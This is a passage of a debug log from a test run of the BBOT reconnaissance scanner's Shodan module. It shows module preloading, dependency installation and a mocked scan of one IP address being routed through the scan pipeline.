postman_download from cache -2026-03-01 16:53:22,741 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:53:22,741 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:53:22,742 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:53:22,743 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:53:22,743 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:53:22,745 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:53:22,746 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:53:22,746 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:53:22,747 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:53:22,748 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:53:22,748 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:53:22,749 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:53:22,749 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:53:22,750 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:53:22,750 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:53:22,751 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:53:22,751 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:53:22,752 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:53:22,753 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:53:22,753 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:53:22,754 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:53:22,754 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:53:22,755 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:53:22,756 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:53:22,756 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:53:22,757 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:53:22,758 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:53:22,758 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:53:22,759 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:53:22,759 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:53:22,760 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:53:22,761 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:53:22,762 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:53:22,762 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:53:22,763 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:53:22,764 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:53:22,764 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:53:22,765 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:53:22,765 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:53:22,766 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:53:22,767 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:53:22,767 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:53:22,768 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:53:22,769 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:53:22,769 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:53:22,770 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:53:22,770 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:53:22,771 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:53:22,772 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:53:22,772 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:53:22,773 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:53:22,773 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:53:22,774 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:53:22,774 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:53:22,775 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:53:22,775 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:53:22,776 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:53:22,776 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:53:22,777 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:53:22,778 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:53:22,778 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:53:22,779 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:53:22,780 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:53:22,781 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:53:22,782 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:53:22,782 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:53:22,783 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:53:22,784 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:53:22,784 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:53:22,785 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:53:22,786 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:53:22,786 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:53:22,787 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:53:22,788 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:53:22,788 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:53:22,789 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:53:22,790 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:53:22,791 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:53:22,792 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:53:22,793 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:53:22,793 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:53:22,794 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:53:22,794 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:53:22,795 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:53:22,796 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:53:22,796 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:53:22,797 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:53:22,797 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:53:22,798 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:53:22,798 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:53:22,799 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:53:22,799 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:53:22,800 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:53:22,801 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:53:22,801 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:53:22,802 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:53:22,803 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:53:22,806 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:53:22,806 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:53:22,808 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:53:22,808 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:53:22,809 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:53:22,810 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:53:22,811 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:53:22,812 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:53:22,812 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:53:22,813 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:53:22,813 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:53:22,815 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:53:22,815 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:53:23,898 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:53:23,899 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:53:23,899 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:53:24,040 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:53:24,620 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:53:24,621 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:53:24,621 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:53:24,622 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:53:24,836 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:53:24,837 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:53:24,948 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:53:24,948 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:53:25,003 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:53:25,005 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:53:25,006 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:53:25,437 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:53:25,438 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:53:29,894 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:53:29,895 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:53:29,895 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:53:31,664 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:53:31,664 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:53:31,670 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:53:31,670 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:53:31,670 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:53:31,670 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:53:31,674 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/4sezgmejrgjab3r5rx6d -2026-03-01 16:53:32,454 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:53:32,454 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:53:32,455 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:53:32,456 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:53:32,456 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:53:32,456 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:53:32,457 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:53:32,457 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:53:32,458 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:53:32,577 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:53:32,578 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:53:32,578 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:53:32,579 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:53:32,580 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:53:32,580 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:53:32,580 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:53:32,581 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:53:32,581 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:53:32,582 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:53:32,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:53:32,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:53:32,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:53:32,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:53:32,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:53:32,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:53:32,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:53:32,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:53:32,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:53:32,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:53:32,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:53:32,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:53:32,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:53:32,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:53:32,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:53:32,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:53:32,586 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:53:32,586 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:53:32,586 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:53:32,586 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:53:32,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:53:32,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:53:32,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:53:32,587 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:53:32,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:53:32,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:53:32,588 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:53:32,589 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:53:32,589 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:53:32,589 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:53:32,589 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:53:32,727 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_w29qre59v4 -2026-03-01 16:53:32,727 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:53:32,834 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:53:32,835 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:53:32,835 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:53:32,836 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-03-01 16:53:32,937 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-03-01 16:53:32,938 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-03-01 16:53:32,939 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-03-01 16:53:32,940 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-01 16:53:32,941 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:53:32,942 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:53:32,942 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-03-01 16:53:32,943 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-01 16:53:32,944 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:53:32,945 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:53:32,946 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:53:32,948 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:53:32,949 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:53:32,951 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:53:32,951 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:53:32,954 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-01 16:53:32,955 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-03-01 16:53:32,955 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-01 16:53:32,956 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-01 16:53:32,956 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-03-01 16:53:32,957 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-03-01 16:53:32,957 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-03-01 16:53:32,958 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-03-01 16:53:32,958 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-01 16:53:33,056 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-01 16:53:33,057 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:53:33,058 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:3b9a79891a806ee3f10cbdee06add3c3fb734a6f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:53:33,058 [DEBUG] bbot.modules.output.python base.py:1563 Got 